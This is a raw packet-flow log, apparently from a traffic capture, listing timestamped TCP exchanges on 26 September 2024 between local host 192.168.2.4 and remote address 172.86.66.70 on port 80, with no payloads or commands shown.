Sep 26, 2024 12:12:22.431988955 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.431992054 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.432003021 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.432013988 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.432018995 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.432049036 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.432081938 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.432081938 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.432118893 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.432123899 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.432133913 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.432192087 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.432288885 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.432293892 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.432300091 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.432305098 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.432316065 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.432321072 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.432332993 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.432341099 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.432359934 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.432374954 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.432466984 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.432471991 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.432573080 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.432578087 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.432589054 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.432594061 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.432607889 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.432621956 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.432656050 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.432682037 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.432686090 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.432701111 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.432703972 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.432743073 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.432743073 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.432879925 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.432885885 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.432897091 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.432902098 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.432910919 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.432951927 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.432966948 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.432967901 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.432974100 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.432984114 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.432988882 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.433029890 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.433029890 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.433130980 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.433136940 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.433147907 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.433151007 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.433160067 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.433198929 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.433198929 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.433269978 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.433274031 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.433285952 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.433295965 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.433301926 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.433311939 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.433315039 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.433315039 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.433316946 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.433361053 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.433362007 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.433563948 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.433900118 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.433906078 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.433917046 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.433967113 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.434010983 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.434015989 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.434026957 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.434032917 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.434061050 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.434082985 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.434084892 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.434176922 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.434182882 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.434195042 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.434200048 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.434211016 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.434262037 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.434262991 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.434336901 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.434343100 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.434436083 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.434797049 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.434845924 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.434851885 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.434902906 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.434932947 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.434940100 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.434951067 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.434962034 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.435004950 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.435004950 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.435020924 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.435081005 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.435086012 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.435101032 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.435153008 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.435210943 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.435216904 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.435229063 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.435235023 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.435345888 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.435374022 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.435379028 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.435395002 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.435400963 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.435409069 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.435420990 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.435533047 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.435539007 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.435609102 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.435609102 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.435609102 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.465487957 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.465503931 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.465514898 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.465604067 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.465609074 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.465610027 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.465621948 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.465627909 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.465672970 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.465672970 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.465689898 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.517298937 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.517369032 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.517373085 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.517427921 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.517433882 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.517445087 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.517451048 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.517468929 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.517504930 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.517509937 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.517509937 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.517553091 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.517621040 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.517625093 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.517636061 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.517641068 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.517667055 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.517667055 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.517684937 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.517740011 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.517745018 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.517765999 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.517843008 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.518116951 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.518165112 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.518178940 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.518233061 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.518264055 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.518269062 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.518279076 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.518284082 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.518289089 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.518328905 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.518328905 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.518383026 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.518416882 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.518421888 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.518518925 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.518526077 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.518539906 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.518563032 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.518568039 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.518573999 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.518635988 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.518748045 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.518773079 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.518778086 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.518827915 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.518835068 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.518846035 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.518898010 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.518925905 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.518932104 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.518937111 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.518985033 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.519042969 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.519048929 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.519059896 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.519064903 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.519155025 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.519164085 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.519170046 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.519186974 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.519191027 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.519262075 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.519349098 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.519355059 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.519366980 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.519371033 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.519388914 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.519396067 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.519402027 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.519408941 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.519413948 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.519428968 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.519449949 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.519484997 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.519571066 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.519578934 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.519588947 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.519594908 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.519601107 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.519638062 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.519665956 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.519754887 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.519761086 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.519819021 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.519881964 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.519887924 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.519898891 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.519970894 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.519977093 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.519979954 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.519989967 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.520050049 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.520088911 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.520095110 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.520101070 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.520106077 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.520150900 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.520150900 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.520236969 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.520241976 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.520253897 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.520258904 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.520271063 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.520322084 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.520322084 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.520828962 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.520915031 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.520920992 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.520934105 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.520939112 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.520992994 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.520992994 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.521015882 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.521310091 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.521393061 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.521404028 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.521409035 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.521420002 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.521425009 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.521430969 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.521436930 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.521455050 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.521476030 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.521501064 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.521563053 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.521569014 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.521574974 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.521641016 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.521672964 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.521724939 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.521728992 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.521766901 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.521771908 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.521784067 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.521855116 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.521861076 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.521867037 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.521893024 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.521898031 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.521929979 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.521944046 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.522010088 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.522015095 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.522026062 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.522067070 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.522067070 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.522116899 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.522121906 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.522128105 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.522134066 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.522181034 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.522181034 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.522217035 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.522313118 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.522320032 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.522325993 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.522330999 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.522401094 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.522630930 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.526917934 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.534255981 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.552537918 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.552575111 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.552584887 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.552659988 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.552678108 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.552684069 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.552695990 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.552701950 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.552792072 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.598421097 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.604934931 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.604948997 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.604960918 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.604965925 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.604973078 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.604976892 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.604983091 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.604990005 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.605006933 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.605045080 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.605112076 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.605118036 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.605129957 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.605134964 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.605142117 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.605165958 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.605216980 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.605246067 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.605252981 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.605333090 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.605360031 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.605365992 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.605371952 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.605376959 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.605453968 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.605520964 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.605526924 CEST	80	49753	172.86.66.70	192.168.2.4
